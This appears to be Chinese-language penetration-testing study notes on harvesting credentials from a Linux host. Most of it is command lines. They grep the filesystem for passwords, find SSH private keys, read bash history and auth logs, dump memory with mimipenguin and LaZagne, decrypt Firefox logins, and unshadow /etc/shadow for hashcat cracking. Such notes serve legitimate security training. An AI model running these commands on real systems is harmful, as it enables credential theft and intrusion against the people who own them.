:::tips 这个漏洞就不用多说了,就是无脑查找所有文件中可能存在漏洞的程序
:::
我们可以获得密码的来源分为:| Files | History | Memory | Key-Rings |
|---|---|---|---|
| 配置 | 日志 | 缓存 | 浏览器存储的凭据 |
| 数据库 | 命令行历史 | 内存处理 | |
| 笔记 | |||
| 脚本 | |||
| 源代码 | |||
| 定时任务 | |||
| SSH 密钥 |
grep –color=auto -rnw ‘/’ -ie “PASSWORD\|PASSWD” –color=always 2> /dev/nullfind . -type f -exec grep -i -I “PASSWORD\|PASSWD” {} /dev/null \;locate config.phplocate password; locate passwdcat /var/mail/*; cat var/spol/maillocate config.crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron; cat /etc/cron; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny; cat /etc/crontab; cat /etc/anacrontab; cat /var/spool/cron/crontabs/root
Linux 凭据搜索
1. 文件
# 配置文件搜索for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done# 配置文件中的凭据for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done# 数据库for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done# 笔记find /home/* -type f -name "*.txt" -o ! -name "*.*"# 脚本for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done# 定时任务cat /etc/crontab# SSH 私钥grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"# SSH 公钥grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"
2. 历史
# 命令行历史tail -n5 /home/*/.bash*# 日志for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done
| 日志文件 | 描述 |
|---|---|
| /var/log/messages | 通用系统活动日志。 |
| /var/log/syslog | 通用系统活动日志。 |
| /var/log/auth.log | (Debian) 所有与身份验证相关的日志。 |
| /var/log/secure | (RedHat/CentOS) 所有认证相关的日志。 |
| /var/log/boot.log | 引导信息。 |
| /var/log/dmesg | 硬件和驱动程序相关信息和日志。 |
| /var/log/kern.log | 内核相关的警告、错误和日志。 |
| /var/log/faillog | 登录尝试失败。 |
| /var/log/cron | 与 cron 作业相关的信息。 |
| /var/log/mail.log | 所有邮件服务器相关的日志。 |
| /var/log/httpd | 所有 Apache 相关的日志。 |
| /var/log/mysqld.log | 所有 MySQL 服务器相关的日志。 |
3. 内存
许多应用程序和进程使用户身份验证所需凭据,并将其存储在内存或文件中,方便重复利用。我们在 Linux 中可以使用 mimipenguin 工具,此工具需要管理员 /root 权限
# 使用 mimipenguinsudo python3 mimipenguin.pysudo bash mimipenguin.sh# 使用 LaZagnesudo python2.7 laZagne.py all
4. 浏览器
浏览器将用户保存的密码以加密形式存储在系统本地以供重复使用。例如,Mozilla Firefox浏览器将加密的凭据存储在相应用户的隐藏文件夹中。这些通常包括相关的字段名称、URL 和其他有价值的信息。 我们可以将这些加密信息获取,然后使用 Firefox Decrypt 进行解密
ls -l .mozilla/firefox/ | grep defaultcat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .# 使用工具 firefox_decryptpython3.9 firefox_decrypt.py# 使用 laZagnepython3 laZagne.py browsers
passwd&shadow&Opasswd
看理论介绍破解 Linux 凭证
# UnShadowsudo cp /etc/passwd /tmp/passwd.baksudo cp /etc/shadow /tmp/shadow.bakunshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes# 破解 hashhashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked
